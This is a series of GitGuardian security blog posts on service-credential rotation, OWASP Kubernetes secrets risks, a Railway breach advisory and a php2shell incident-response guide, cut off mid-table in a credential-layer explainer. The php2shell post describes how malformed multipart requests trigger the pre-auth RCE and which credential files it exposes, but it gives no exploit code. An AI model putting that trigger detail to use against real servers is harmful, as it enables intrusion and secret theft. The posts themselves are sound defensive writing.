DEV Community: GitGuardian

Rotating 1,000 Service Account Passwords With Zero Outages: Why the Inventory Comes First

Dwayne McDaniel — Fri, 30 Oct 2026 13:28:34 +0000

TL;DR

Rotation is the last step: Rotating more than 1,000 service credentials across more than 150 applications with zero outages showed that most of the work happens before you change a single password.
Controls built for people miss service credentials: Service credentials have no human to prompt, no MFA path, often no current owner, and they fail silently. Their copies also spread into scripts, config files, pipelines, and chat.
Inventory first, then SCALER: Know who uses each account, who owns it, and whether it's still needed. Then follow six stages in order: Scale, Classify, Assign, Lifecycle, Enforce, and Rotate.

Mayank Sethi

Mayank is a Principal Data Operations Engineer who led the rotation of more than 1,000 service credentials across 150+ applications without an outage. He developed the SCALER framework and presented it at CornCon 12.
LinkedIn

I once led the service account password rotation of more than 1,000 credentials across more than 150 applications. We finished with zero outages. The rotation itself was the easy part. Most of the work happened before we changed a single password.

That order surprises people. Most teams treat rotation as the job. In my experience, rotation is the last step of a longer process. Skipping the earlier steps is how rotation causes outages.

The gap a standard identity review misses

Picture a typical identity review. Multi-factor authentication (MFA) is on for every employee. Single sign-on covers the main applications. Network policies restrict who can reach production. The review passes.

Now ask a different question. How many service accounts exist on that platform? Who owns each one? When did each credential last change? Most teams can't answer with confidence.

The broader data on leaked credentials points the same way. GitGuardian found 28.65 million new hardcoded secrets in public GitHub commits in 2025, up 34% from the year before. When it retested secrets from 2022 in January 2026, more than 64% were still valid. Credentials leak, and then they stay live for years.

Service credentials are the passwords, keys, and tokens that applications, scripts, and pipelines use to talk to each other. Most security controls assume a human user. Service credentials don't have one.

Four ways service credentials differ from user passwords

When a user password expires, a person gets a prompt and resets it. If someone steals it, MFA stands in the way. If it stops working, the user notices within minutes and calls the help desk.

Service credentials get none of that support:

No human to prompt: When a service credential expires, nobody reads the warning email. The application fails.
No MFA path: An application can't approve a push notification.
No current owner: The engineer who created the account may have changed teams or left. The credential outlives the person who understood it.
Silent failure: Change a credential and something can break hours later, in a job nobody linked to that account.

I saw the last one firsthand. Application teams updated the new password in every place they knew about. Then a connection would still fail, from a source nobody could identify. Several systems reached the platform through the same shared network address. The owner had done everything right and still couldn't find the last copy.

After one incident like that, teams hesitate to touch these credentials at all. So the credentials sit unchanged, sometimes for years.

User passwords are a people problem, and prompts, training, and MFA handle most of it. Service credentials are an inventory problem. You solve them by knowing what exists, who uses it, and who answers for it.

Why controls built for people miss machine identities

Single sign-on, MFA, and conditional access all assume a person at a login screen. Service credentials skip the login screen entirely.

They also hold standing access. A service account often keeps the same permissions on its last day as on its first, even after its job shrinks. Nothing forces a change, so the credential stays valid.

And service credentials travel. To get work done, teams copy them into scripts, config files, continuous integration pipelines, and chat threads. GitGuardian found that internal repositories are roughly six times more likely than public ones to contain hardcoded secrets. About 28% of incidents start entirely outside repositories, in tools like Slack, Jira, and Confluence.

The platform itself may be locked down well. Its controls never see the copies scattered across code and collaboration tools.

Two instincts that make it worse

When a team finds hundreds of unmanaged service credentials, two responses tend to show up. Each seems reasonable in the moment, and each makes the problem harder to fix.

The first is to rotate everything immediately. It looks decisive. In practice, it causes the outages you were trying to avoid. Nobody knows which jobs depend on which credential, so each rotation breaks something. After a few incidents, teams stop rotating at all.

The second is to form a working group first. The group drafts a policy, compares tools, and schedules meetings with application teams. Months pass, and the exposure found on day one stays open.

Both skip the same step. The first acts without knowing what exists. The second plans without finding out.

What the inventory has to answer

Before we rotated anything, every service account needed three answers:

Who uses it? Which applications, jobs, or pipelines connect with it today?
Who owns it? Which person is accountable for it now?
Is it still needed? Has anything used it recently?

We didn't have to build most of that from scratch. Application ownership already lived in a configuration database. Account metadata, including last login, already lived on the platform. The missing piece was the join between them. Once we joined the two, most accounts resolved to a named owner automatically.

The third question paid off fastest. We disabled accounts with no login in 90 days instead of chasing their owners. Owners could request re-enablement through a standard service request if they needed it. That shrank the problem before rotation started.

It also had a side effect we didn't plan. Once owners could see the last login date for their accounts, they started asking us to disable the ones they no longer needed.

Platform data is the right starting point because it reflects what is real today. Spreadsheets and documentation drift. But the platform is only half of the inventory. The other half is everywhere its credentials have spread: repositories, config files, pipelines, and chat. Rotate without that half, and the breakage moves downstream.

Six stages, always in this order

There was no name for what we did at the time. Looking back, it was six stages, always in the same order. I've called it SCALER since, because the order is the part worth keeping.

Scale: Discover every service account from the platform itself, then find where each credential has spread. Use login history to see what is still active.
Classify: Tie each account to the application it supports.
Assign: Give every account a named human owner, and keep ownership current as people move.
Lifecycle: Set a policy that makes credentials expire, with warnings well ahead of the deadline.
Enforce: Make the safe path the easy one. Owners rotate through a workflow they already use, without waiting on a central team.
Rotate: Change credentials in a way you can reverse quickly if something breaks.

Each stage depends on the one before it. You can't assign an owner to an account you haven't found. You can't enforce expiry on a credential nobody owns, because nobody will act on the warning. Skip a stage, and it shows up later as an outage.

Why a revert path made rotation safer

This is the choice many security teams won't like. When a rotation broke something, we let the owner temporarily revert to the old credential.

That sounds like a step backward, so here is the reasoning. Our platform didn't let an account hold two valid passwords at once. With overlapping credentials, you run the old and new side by side until every consumer switches. We had no overlap window.

The shared-address problem from earlier is exactly this case. Without a way back, that failure becomes an outage, and the owner learns to fear rotation. With a way back, it stays recoverable.

Validation belonged to the owners. We could see last login, account status, and connection sources. Only the owner could confirm that their downstream jobs still ran. If validation passed, the expiry policy took over. If it failed, the revert path kicked in.

The revert kept a failed rotation from turning into an outage. It also kept owners willing to rotate the next time.

If I ran this program again, I would keep the first four stages exactly as they were. I would change the authentication method. On platforms that support two active keys, key-pair authentication lets old and new overlap until validation is clean. That removes the need for a revert.

Whatever the credential type, the work still starts with the inventory. The fastest first step is finding where your credentials already live outside the platform.

Scan your repos now.

FAQ

What is a service account?

A service account is an account that applications, scripts, and pipelines use instead of a person. Its credentials (passwords, keys, and tokens) let those systems talk to each other. Most security controls assume a human user, and service accounts don't have one.

What is the difference between a service account and a user account?

When a user password expires, a person gets a prompt and resets it. MFA protects it if it's stolen, and the user notices within minutes if it stops working. A service account has none of that: no one reads the expiry warning, it can't approve an MFA prompt, its creator may have left, and a changed credential can break a job hours later.

Can you use MFA for service accounts?

Not in the usual way. An application can't approve a push notification, and single sign-on, MFA, and conditional access all assume a person at a login screen. Service credentials skip the login screen entirely, so the controls built for people don't protect them.

What are the security risks of service accounts?

Service accounts often keep the same permissions on their last day as on their first, even after their job shrinks. Teams copy their credentials into scripts, config files, CI pipelines, and chat threads, where the platform's controls never see them. Because rotating them can cause outages, they often stay unchanged for years.

What is service account management?

Service account management means knowing what exists, who uses it, and who answers for it. For every account, that means answering three questions: which applications or pipelines use it today, which person is accountable for it now, and whether anything has used it recently.

How do you rotate service account passwords without outages?

Build the inventory first, then rotate. The SCALER method runs six stages in order: Scale, Classify, Assign, Lifecycle, Enforce, and Rotate. On platforms that can't hold two valid passwords at once, a temporary revert path keeps a failed rotation from turning into an outage.

This article is a guest post. Views and opinions expressed in this publication are solely those of the author and do not reflect the official policy, position, or views of GitGuardian. The content is provided for informational purposes; GitGuardian assumes no responsibility for any errors, omissions, or outcomes resulting from the use of this information.

The opinions expressed here are solely those of the author and do not represent the views, positions, or policies of Group 1001 Insurance Holdings, LLC or its affiliates.

OWASP Top 10 Kubernetes Security Risks Explained: Why Credentials Deserve a Closer Look

Dwayne McDaniel — Tue, 27 Oct 2026 14:40:10 +0000

TL;DR

K03 turns one leak into a chain: Secrets Management Failures let a single exposed token unlock more credentials. GitGuardian found 44 active clusters reachable through leaked secrets, and 30% had been exposed for over two years.
Pipelines and repositories feed the cluster: GhostAction targeted 2,577 secret values across 772 repositories, and a public CISA-related repo exposed active credentials, showing how continuous integration and continuous delivery (CI/CD) and source control become paths into Kubernetes.
Shrink the blast radius across the credential layer: Strict RBAC, short-lived workload identity, and credential detection across repos, images, and pipelines limit what any exposed token can reach, with ggshield, AI hooks, and Developer Endpoint Protection preventing new leaks.

Recent attacks make the OWASP Kubernetes Top 10 essential reading

Kubernetes powers modern infrastructure. 82% of container users now run it in production environments, according to the most recent Cloud Native Computing Foundation (CNCF) Annual Cloud Native Survey. For the majority of DevOps teams who want to run their applications in containers, Kubernetes is the first thing they turn to. Kubernetes (K8s) offers many advantages, but it also has potential pitfalls if you don't set everything up correctly. This is why Kubernetes has its own OWASP Top 10.

Kubernetes security risks include workloads, identities, and infrastructure. A compromised container can expose a service account. That service account may have permissions to reach other systems, where it could find additional credentials. Credentials very often provide access to systems far beyond the original cluster.

Recent GitGuardian investigations show how these attack paths work in practice. Researchers discovered leaked credentials that provided access to 44 active Kubernetes clusters. The recent round of GhostAction supply chain campaign targeted thousands of K8 credentials through GitHub Actions. Another investigation uncovered a public repository containing CISA-related infrastructure configurations and active credentials.

With so much going on in the threat landscape targeting it, we think it is a good time to review the OWASP Kubernetes Top 10. Its ten categories identify the weaknesses that allow attackers to enter Kubernetes environments, expand their permissions, and reach connected infrastructure.

The 10 Kubernetes security risks in the OWASP list

The OWASP Kubernetes Top 10 gives a prioritized view of the most pressing risks affecting Kubernetes environments. These risks are not theoretical, but real-world issues the community is reporting and working on. This includes insecure configurations, weak access controls, and failures in protecting sensitive resources.

These risks frequently overlap. A compromised workload may expose credentials with excessive permissions. Those permissions may allow an attacker to access additional workloads or cloud resources.

K01: Insecure Workload Configurations

Privileged containers, excessive Linux capabilities, and dangerous host mounts can give workloads more access than they require. Attackers who compromise these workloads may gain access to sensitive files or underlying infrastructure.

K02: Overly Permissive Authorization Configurations

Role-Based Access Control (RBAC) determines what users and service accounts can access in Kubernetes. Excessive permissions increase the authority available to compromised identities, including the ability to retrieve Kubernetes Secrets or modify workloads.

K03: Secrets Management Failures

K03 covers Kubernetes secrets management failures. Applications depend on credentials to connect: API keys, passwords, and tokens, which can leak in plaintext through repositories, container images, and application configurations. Long-lived credentials and other weak authentication schemes increase their usefulness to attackers.

K04: Lack of Cluster-Level Policy Enforcement

Admission policies can help enforce security requirements across workloads. While it should be standard for each action to be within policy, inconsistent enforcement allows dangerous configurations and excessive privileges to reach production environments.

K05: Missing Network Segmentation Controls

Kubernetes network policies restrict communication between workloads to what is configured correctly. Weak or missing segmentation can allow attackers to move between services after compromising an application. This is particularly dangerous when valid credentials provide access. If an attacker can get access, they should impact the smallest blast radius possible.

K06: Overly Exposed Kubernetes Components

The more of the cluster is reachable from the internet, the larger the advantage the attacker has. Exposed API servers and administrative interfaces increase opportunities for unauthorized access. Attackers may exploit vulnerable components or use stolen credentials to interact with cluster management services.

K07: Misconfigured and Vulnerable Cluster Components

There are a lot of ways to misconfigure Kubernetes, but also a lot of ways to get things correct. This is the challenge of deploying open source in general. We must get it right and apply regular updates. Vulnerabilities can provide attackers with access to infrastructure or opportunities to increase their privileges.

K08: Cluster to Cloud Lateral Movement

Kubernetes workloads often use cloud identities and credentials. This gives clusters the power to be useful, but there is a lot of danger here. Excessive cloud permissions can allow attackers who compromise a workload to access resources outside the cluster.

K09: Broken Authentication Mechanisms

When an attacker compromises a system, they can break in, or they can simply log in. Weak authentication controls and poorly protected service account tokens can let attackers impersonate trusted identities and gain permissions that are often set too broadly. Stolen credentials may provide the same access as the legitimate workload or user.

K10: Inadequate Logging and Monitoring

If an attack happens, how would you know and how would you prove that? Security teams need visibility into authentication events, API requests, and changes to sensitive resources. Without sufficient monitoring, credential misuse and unauthorized activity are much harder to detect and prove. Auditors need to know when you knew about the issue and what you did.

Why K03 deserves special attention

For K03, Secrets Management Failures, OWASP supplies guidance identifying six common ways credentials become exposed.

Secrets in container images: Credentials get baked into an image or one of its layers. Anyone who can access the image may be able to recover the secret, and rotation becomes much harder.
Secrets in ConfigMaps: Sensitive values are placed in ConfigMaps, which often have weaker access controls and are more likely to appear in backups or debugging output.
Secrets in environment variables: Secrets passed as environment variables can surface in debugging data, process information, crash reports, or other diagnostic output.
Secrets in code repositories: Credentials committed to source code can spread through clones, forks, CI systems, developer machines, and other copies of the repository.
Excessive WATCH or LIST access to Secrets: A Kubernetes identity with LIST or WATCH permissions on Secret objects can effectively retrieve those secrets at scale. This turns an overly broad RBAC permission into a credential exposure path.
Secrets in application logs: Applications can accidentally write credentials to stdout or stderr, especially when logging configuration or environment state. Those secrets may then spread into centralized logging systems such as Splunk or Elasticsearch and remain there for long periods.

There are a lot of ways and places these issues can be introduced. Developers may add credentials to Dockerfiles during testing. Automation systems may receive powerful service account tokens. Applications may log sensitive environment variables while diagnosing errors.

Each exposure can give an attacker usable credentials.

The permissions associated with a secret determine the consequences of an exposure or attack. A database credential may provide access to customer records. A Kubernetes service account token may allow an attacker to retrieve additional Secret objects. A cloud credential may grant access to infrastructure outside Kubernetes.

The real risk extends across every system that trusts the exposed credential.

Real-world Kubernetes credential leaks expose the larger problem

Three recent GitGuardian investigations demonstrate how credentials can move through software delivery systems and expose connected infrastructure.

A Leaked Kubernetes credential opened access to private resources

GitGuardian researchers investigating publicly exposed Kubernetes credentials. They identified 44 active clusters accessible through leaked secrets; this was one research project, and we know many more are exposed every day. In the clusters they examined, four had more than 10 nodes, and one exceeded 200 nodes. A full 30% of the accessible clusters had been exposed for more than two years. The oldest valid leak dated back to 2021.

One case began when a service account token was embedded in a public Docker image which provided access to a K8 cluster. That cluster contained additional credentials. Ultimately, that key opened access to private container images and GitHub organizations.

The same research also identified over 2,000 container registry credentials with resolvable hostnames. Forty-six percent remained valid. Those credentials provided access to 309 private Docker Hub images and 730 private GitHub repositories.

A single leaked token created access to more secrets and additional systems.

K03 directly connects to excessive authorization and cluster-to-cloud lateral movement. A compromised credential can expose the next credential in the chain.

GhostAction targeted credentials inside trusted automation

The GhostAction supply chain campaign, which originally ran between Aug. 31 and Sept. 30, 2026, affected 772 public repositories and targeted 2,577 secret values. GitGuardian's researchers originally uncovered this attack. The attack targeted credentials used by automation, including cloud keys and container registry credentials.

Most workflow executions during this attack required approvals, which limited how bad this was and how many people were affected. However, a subsequent October wave affected another 346 repositories, with external researchers confirming successful exfiltration.

GhostAction targeted CI/CD infrastructure. The consequences can extend into Kubernetes because deployment pipelines frequently hold credentials granting access to registries and cloud services.

An attacker who steals those credentials may gain access to the same infrastructure used by legitimate deployment automation.

Securing Kubernetes therefore requires controls around the systems that build and deploy workloads.

The CISA repository leak exposed credentials and infrastructure context

In May 2026, GitGuardian researchers discovered a public GitHub repository named Private-CISA. While that might not sound that unusual, since CISA might stand for many different things, this repo contained 844 MB of plain-text passwords, AWS tokens, and Entra ID SAML certificates belonging to CISA, the US Cybersecurity and Infrastructure Security Agency. The exposed files included Kubernetes manifests, ArgoCD configurations, and Terraform infrastructure code.

Researchers tested many of these credentials and found them valid.

Researchers also found credentials and documentation describing internal infrastructure. The exposed information provided insight into how systems were configured and connected. Attackers could potentially use that context to identify valuable credentials and determine where those credentials might work.

The repository was taken offline following coordinated disclosure. But like with any incident, any exposed credentials still required investigation and appropriate remediation.

Repository scanning and credential lifecycle management help organizations address both the immediate exposure and its continuing consequences.

Reducing the blast radius of exposed Kubernetes credentials

Like with all Top 10 lists from OWASP, we have recommendations that provide a practical foundation for reducing risk, this time around Kubernetes credentials.

Strict RBAC limits which identities can retrieve secrets. Namespace boundaries and network policies restrict access between workloads. Encryption at rest protects sensitive values stored in etcd.

Credential detection should also cover the software delivery process. Source repositories, CI/CD workflows, and container images all create opportunities for secrets to spread before applications reach production.

Security teams need to review credentials when they are exposed. While they might not be ultimately the "owner" of these credentials, they are the team responsible for dealing with the fallout of abuse of these credentials. They need to know validity, permissions, and actual usage to help determine the remediation priority. Rotation and revocation remove compromised access, while tighter permissions limit what future exposures can accomplish.

Workload identity federation provides an opportunity to reduce access persistence. GitGuardian's research found Kubernetes credentials that remained valid years after their original exposure. Supported Kubernetes workloads can use trusted identities to obtain temporary access to external services. Short-lived tokens reduce the useful lifetime of stolen credentials and the need to distribute permanent keys.

The long-term objective is to reduce the number of standing credentials while strengthening controls around those that remain.

How GitGuardian helps secure the Kubernetes credential layer

Kubernetes workloads depend on credentials that originate across the enterprise. Developer endpoints, source repositories, and CI/CD systems all participate in the credential lifecycle.

GitGuardian helps organizations secure this credential layer through three connected capabilities.

Detect exposed credentials and identify their context

GitGuardian detects exposed secrets across supported repositories and development environments. ggshield extends scanning into CI/CD workflows and container images.

When configured to integrate with Kubernetes clusters, the platform maps identity and infrastructure context, helping security teams understand where credentials are used and what access they provide.

Remediate exposed credentials and reduce excessive access

Finding a credential is just the first step; you need to actually remediate the findings. Security teams need to prioritize, investigate, and then take the right actions to reduce risk. This starts with establishing whether it remains valid and which services depend on it.

GitGuardian empowers investigation and prioritization for teams of any size. Part of this process includes using validity checks and surfacing contextual risk information. This helps teams coordinate rotation and reduce unnecessary permissions while protecting production availability.

Prevent new credential exposures

An ounce of prevention is worth a pound of remediation.

GitGuardian makes tools available for the developer and the local coding assistants to prevent secrets from being added or used throughout the software development process. ggshield, the GitGuardian CLI, supports developer-side checks and automated scanning within CI/CD pipelines. AI hooks provide additional checkpoints where agents interact with sensitive information.

Developer Endpoint Protection extends visibility into local machines where credentials tend to aggregate. This helps teams identify which secrets on a developer's laptop carry the most risk and plan remediation for plaintext secrets that haven't yet been abused or leaked publicly. This also gives you a clear prioritization path in cases of infostealer attacks affecting your organization.

Together, these capabilities help organizations reduce secrets sprawl across development and production environments.

Kubernetes security requires control over your credential layer

The OWASP Kubernetes Top 10 shows how exposed credentials can put entire environments at risk. A single leaked token can provide access to workloads, cloud infrastructure, and connected systems.

Securing Kubernetes and other production systems requires visibility and control across the entire credential layer. This stretches from developer laptops to repositories, CI/CD pipelines, and production workloads. Every system that can hold plaintext secrets is part of your credential layer.

GitGuardian helps you gain that control. Discover exposed credentials, prioritize remediation, and prevent new secrets from spreading across your development and production environments.

Get started with GitGuardian and take control of your credential layer today.

Book a demo now.

FAQ

What is the OWASP Kubernetes Top 10?

The OWASP Kubernetes Top 10 is a prioritized list of the most pressing risks affecting Kubernetes environments, based on real-world issues the community is reporting and working on. Its ten categories cover insecure workload configurations, overly permissive authorization, secrets management failures, missing network segmentation, exposed components, cluster to cloud lateral movement, broken authentication, and inadequate logging and monitoring.

Why does K03, Secrets Management Failures, deserve special attention?

Credentials very often provide access to systems far beyond the original cluster, and the permissions tied to a secret determine the consequences of an exposure. A database credential may expose customer records, a service account token may let an attacker retrieve more Secret objects, and a cloud credential may grant access to infrastructure outside Kubernetes. K03 also connects directly to excessive authorization and cluster to cloud lateral movement.

How do secrets get exposed in Kubernetes environments?

OWASP identifies six common paths: secrets baked into container images, sensitive values in ConfigMaps, secrets passed as environment variables, credentials committed to code repositories, excessive WATCH or LIST access to Secret objects, and secrets written to application logs. Each one can give an attacker usable credentials.

How do leaked credentials lead to Kubernetes cluster compromise?

GitGuardian researchers identified 44 active Kubernetes clusters accessible through leaked secrets, and 30% of them had been exposed for more than two years. In one case, a service account token embedded in a public Docker image opened a cluster that held more credentials, which in turn opened private container images and GitHub organizations. A single leaked token created access to more secrets and additional systems.

What is the GhostAction campaign and why does it matter for Kubernetes security?

GhostAction was a supply chain campaign, first uncovered by GitGuardian researchers, that affected 772 public repositories and targeted 2,577 secret values used by automation, including cloud keys and container registry credentials. A later wave affected another 346 repositories. The impact reaches Kubernetes because deployment pipelines frequently hold credentials that grant access to registries and cloud services.

How can teams reduce the blast radius of exposed Kubernetes credentials?

Use strict RBAC to limit which identities can retrieve secrets, apply namespace boundaries and network policies, and encrypt sensitive values in etcd at rest. Detect credentials across repositories, CI/CD workflows, and container images, then check validity, permissions, and actual usage to prioritize rotation and revocation. Workload identity federation and short-lived tokens reduce how long stolen credentials stay useful.

How does GitGuardian help secure the Kubernetes credential layer?

GitGuardian detects exposed secrets across supported repositories and development environments, and ggshield extends scanning into CI/CD workflows and container images. The platform maps identity and infrastructure context when integrated with Kubernetes clusters, and validity checks and contextual risk information help teams prioritize remediation. For prevention, ggshield, AI hooks, and Developer Endpoint Protection catch secrets before they spread.

Railway October 2026 Incident: Treat Every Environment Variable as Exposed

Dwayne McDaniel — Mon, 26 Oct 2026 12:28:41 +0000

What happened in the Railway security incident

On Oct. 21, 2026, Railway disclosed anomalous activity on the systems that store customer environment variables.

An unauthorized third party may have accessed encrypted environment variables and, for some of them, obtained the decrypted values. Railway is asking all customers to rotate their environment variables, including API keys and private registry credentials, and has paused deployments during the investigation.

Railway believes the impact is limited to a subset of users, who will be contacted by email. It links the attack to "a series of attacks recently targeting platform companies with the aim of compromising AI inference providers," a pattern that echoes the Vercel incident from April.

Investigate, then rotate every Railway environment variable

Treat every secret stored in Railway as at risk until investigated. Identify the exposed credentials, check where they are used, and confirm whether they are still active or already abused. Then revoke or rotate them, redeploy, and verify dependent services.

Railway sealed variables cannot be read back from the UI, the API, or the CLI. That limits casual exposure, but the disclosure does not say whether they were in scope. Rotate them too.

How to scan Railway environment variables for secrets

Railway customers can dump their environment variables locally and scan them.

Dump the variables of each service and environment:

railway variable list --service <service> --environment <environment> --kv > .env.railway

Then scan the file with GitGuardian:

ggshield secret scan path .env.railway

GitGuardian identifies which variables contain valid secrets. This gives you a prioritized list of what to rotate first. If you dumped several services into the same directory, scan them all at once:

ggshield secret scan path -r .

Rotate secrets in upstream services, such as AWS, GCP, GitHub, or AI providers, before updating the values in Railway. Delete the dumped files once done.

Railway's recommended next steps

Railway recommends that customers:

Rotate all environment variables stored in Railway, including API keys.
Rotate private registry credentials.
Review logs of the services using these credentials for unusual activity. Railway published dedicated guides for AWS, GCP, and GitHub.
Follow the status page, since new deployments are paused until builds are restored.

Talk to GitGuardian to see how you can strengthen your security controls.

Book the demo now.

Responding to php2shell When You Don't Know Your Secrets

Dwayne McDaniel — Fri, 23 Oct 2026 18:31:27 +0000

TL;DR

Pre-auth RCE in default PHP setups: PHP fixed php2shell on Oct. 21, 2026. It abuses how PHP handles out-of-memory fatal errors and works against Apache mod_php and PHP-FPM on common CMS, webmail, and e-commerce apps.
Every secret on the host is exposed: The RCE can potentially allow attackers to read config.php and .env files using the PHP worker's existing permissions. That gives them database, SMTP, cloud, and OAuth credentials to move into systems outside PHP.

What is php2shell and how does it work?

The root cause is how PHP handles a fatal error when a request exceeds memory_limit. The fatal error interrupts the operation in progress and leaves it half-finished: a hash table whose counters were incremented before the new bucket was initialized, or session globals still pointing into memory that request shutdown then frees. Calif turns that stale state into code execution.

Two ways to trigger the out-of-memory condition

There are two ways to trigger the out-of-memory condition.

Bodies that skip the size check: On Apache, a chunked HTTP/1.1 or length-less HTTP/2 multipart body is never checked against post_max_size, since PHP compares it with the declared Content-Length.
Empty file parts that skip the upload count: multipart request with hundreds of file parts using filename="", which carry no data, are not counted toward max_file_uploads, and still each create six $_FILES entries, combined with nested field names. The body stays under the default 8 MiB post_max_size while building $_FILES exceeds the default 128 MiB memory_limit.

Which PHP deployments are exploitable

Both Apache mod_php and PHP-FPM are exploitable: mod_php against arbitrary scripts, PHP-FPM when the application reaches the vulnerable unserialize path. The fix is to upgrade PHP.

Why php2shell is a secrets theft vector

The RCE gives read access to everything next to the PHP code: database credentials in config.php, API keys, SMTP credentials, cloud access keys, and OAuth client secrets in .env files. No privilege escalation is needed: the PHP worker already has the permissions.

A compromised WordPress instance hands over the database, the mailer, and whatever third-party service the plugins talk to. From there, the attacker pivots to systems that have nothing to do with PHP.

Why secret rotation stalls after a PHP compromise

When the alert fires, the security team contains the server, takes forensics, and looks for persistence. The next questions are which secrets were on that machine, are they still valid, and where else are they used.

If the team does not know what secrets are deployed on the target, the list has to be rebuilt by hand from deployment scripts and Slack threads. That takes hours, and the credentials stay valid the whole time. In most remediations we see, identifying and rotating exposed secrets is manual, done from dashboard data, and starts after the compromise.

php2shell incident response: six immediate actions

Once php2shell exploitation is confirmed or suspected on a host:

Isolate the host: Take the host off the network.
Suspend access: Suspend user access on the host.
Sweep other PHP hosts: Check every other PHP host for the same indicators: the attacker's source IPs and the oversized multipart requests in the access logs, new files under the web root.
Inventory and rotate secrets: Identify every secret on the host (configuration files, environment, shell history) and rotate them in the order set by your impact mapping.
Audit downstream access: Investigate the logs of what those secrets give access to: Kubernetes audit logs, CloudTrail for AWS keys.
Hunt for payload execution: Look for payload execution indicators: unexpected PHP child processes, outbound connections from the web server, new files under the web root.

Step 4 is where teams lose time. A PHP host that has been running for five years accumulates credentials nobody remembers.

Prepare your secrets inventory before you need it

Step 4 takes minutes instead of hours when the following is written down before the incident, for every exposed service, PHP or not.

Perimeter knowledge

For each host: the vendors and secret types expected on it (database, cloud provider, GitLab, SMTP), the accounts they belong to (AWS account ID, Azure tenant, GitHub organization), and the domain names and machines it talks to.

Secret-to-impact mapping

For each secret: what it protects (customer data, source code, personal data, billing), and the resulting revocation order if everything on the box leaks.

Dependencies and authorities

For each secret: what breaks when it is rotated, who owns the vendor account, and who to escalate to when that person is not reachable.

Keep it next to the incident response runbook and update it when a service is deployed or decommissioned.

How GitGuardian helps with php2shell incident response

Once php2shell exploitation is confirmed, step four becomes the bottleneck: listing every secret on the host and rotating them in the right order. How fast that goes depends on whether the host was inventoried before the incident.

If the host was already inventoried

When a host has already been inventoried, NHI Governance and Endpoint Protection give responders the context they need to prioritize credential rotation:

What the host held: every credential found on the compromised host.
Who owns each one: the person accountable for rotating it.
Where else it works: other hosts, images, repositories, or developer laptops that share the same credential.
What to revoke first: a revocation order based on each credential's criticality.

Knowing the owner is what turns "revoke the SMTP key" into a name to call at 3 a.m.

If the host was never inventoried

ggshield scans the forensic image directly, without touching the live host. With a GitGuardian API key configured, this command lists the secrets in the web root and its configuration files, including the ones that never went through a repository:

ggshield secret scan path -r -y /mnt/image/var/www

The results go into the same platform, so each secret gets an owner and a rotation status like the rest of the inventory. The next incident on that host starts from the case above.

Patch PHP. Then check that you can list the secrets present on the box and who owns them.

How GitGuardian helps you to prepare for the next breach

Steps 4 and 5 are an inventory problem. The inventory is best built before an incident, but GitGuardian can also build it during the response, which is faster than running homemade scripts. To reduce exposure before the next incident and detect intrusion when it happens:

NHI Governance builds it: it discovers the service accounts, API keys, and tokens in use across the dev ecosystem, attributes each one to an owner, scores its criticality, and flags the ones overdue for rotation under the policy you configured. The three blocks of the playbook above (perimeter, impact, dependencies, and authorities) come out of that inventory instead of a spreadsheet, and a credential that has not been rotated since the host was built shows up as overdue before anyone exploits php2shell.
Developer Endpoint Protection feeds the same inventory from the other end of the chain. The .env and config.php that end up on the PHP host start on a developer laptop, next to ~/.aws, shell history, and MCP configuration files. ggshield runs on schedule on those machines, with no continuous agent, and reports the secrets found by machine and severity.
Honeytokens detect intrusion. Placed in a .env or config.php on the host, they fire an alert when used. An attacker who reads the configuration after php2shell will try them.

Book a demo now.

FAQ

What is php2shell?

php2shell is a pre-auth remote code execution vulnerability in PHP, named by Calif and fixed on Oct. 21, 2026. It works under default configurations and abuses how PHP handles a fatal error when a request exceeds memory_limit.

How do attackers trigger php2shell?

They push a request past memory_limit in one of two ways. The first sends chunked or length-less multipart bodies on Apache, which skip the post_max_size check. The second sends hundreds of empty file parts, which skip the max_file_uploads count.

Which PHP deployments are vulnerable to php2shell?

Both Apache mod_php and PHP-FPM. mod_php is exploitable through any script, and PHP-FPM when the application reaches the vulnerable unserialize path. The fix is to upgrade PHP.

Why is php2shell a secrets theft risk?

The RCE can read config.php and .env files with the PHP worker's existing permissions. That exposes database, SMTP, cloud, and OAuth credentials, which attackers use to move into systems beyond PHP.

What should I do if php2shell was exploited on my server?

Isolate the host, suspend user access, and sweep other PHP hosts for the same indicators. Then rotate every secret on the host, check the logs of the systems those secrets unlock, and look for signs that a payload ran.

How do I find out which secrets were on a compromised PHP host?

If the host was inventoried, GitGuardian NHI Governance lists its credentials, owners, and revocation order in one query. If it wasn't, ggshield scans the forensic image to find the secrets in the web root and configuration files.

How can I prepare for the next PHP compromise?

Before an incident, document what each host uses, what each secret protects, and who owns it. Keep this next to your incident response runbook so rotating secrets takes minutes instead of hours.

Credential Layer Security Explained: Scope and Controls

Dwayne McDaniel — Thu, 22 Oct 2026 22:04:24 +0000

TL;DR

The credential layer is every surface holding a secret: Code, cloud, laptops, SaaS, collaboration tools, and public sites all hold plaintext credentials, and a single key can travel through all of them during its lifetime.
Six controls form a connected program: Discover, prioritize by access risk, connect to owners, remediate copies, prevent spread, and detect harvesting with honeytokens, working alongside IAM, PAM, vaults, EDR, and cloud security.
Endpoints and AI agents raise the stakes: Developer laptops average about 150 secrets each, and agents can read files, run commands, and call MCP servers, so credential scope and deterministic controls matter more.

What is credential layer security?

Before we define the full credential layer, let's start by defining "credential." In the context of information technology, we define a credential as any piece of data that grants access to a system, service, resource, or data. We also commonly call these "secrets." Some credentials require additional authentication conditions to be met, but most grant access through possession of the data alone.

These take the form of passwords, API keys, access tokens, private keys, and other authentication material, which, on its own, allows an entity, be it human, workload, or AI, to authenticate to another system or platform.

The credential layer enables your organization's connectivity and encompasses every place a credential can exist, in any state or condition. That is a very wide definition, but that is also the honest scope. Any surface that can hold plaintext is part of the credential layer's surface. This includes code, cloud infrastructure, laptops and dev environments, and SaaS applications. All can hold plaintext credentials. That is the reality security teams are up against.

Putting this all together, we get to our definition: Credential layer security is the practice and focus of protecting every surface where credentials can be created, stored, transmitted, or used. In practice, that means finding all plaintext secrets and connecting identity context, remediation, and prevention across the enterprise.

Why are credentials a security concern?

Credentials don't just allow access to systems that contain private data; they also provide access to control an organization's infrastructure.

An exposed customer record can reveal personally identifiable information, which is highly regulated. An exposed credential can provide ongoing access to systems, giving adversaries more time to plan and explore. Secrets also enable administering your infrastructure, which can be very costly when abused.

The credential layer stretches across the entire digital environment, including systems that were never designed to manage credentials.

Protecting it requires understanding where credentials exist, what they can access, who owns them, and how to prevent their exposure or abuse.

The credential layer includes every surface that can hold a credential

The credential layer has no single technology boundary. It permeates the systems where software is developed, operated, and maintained.

A useful way to understand its scope is to group credential surfaces according to their intended purpose and the organization's ability to control them.

Surface group	What it means	Where credentials appear
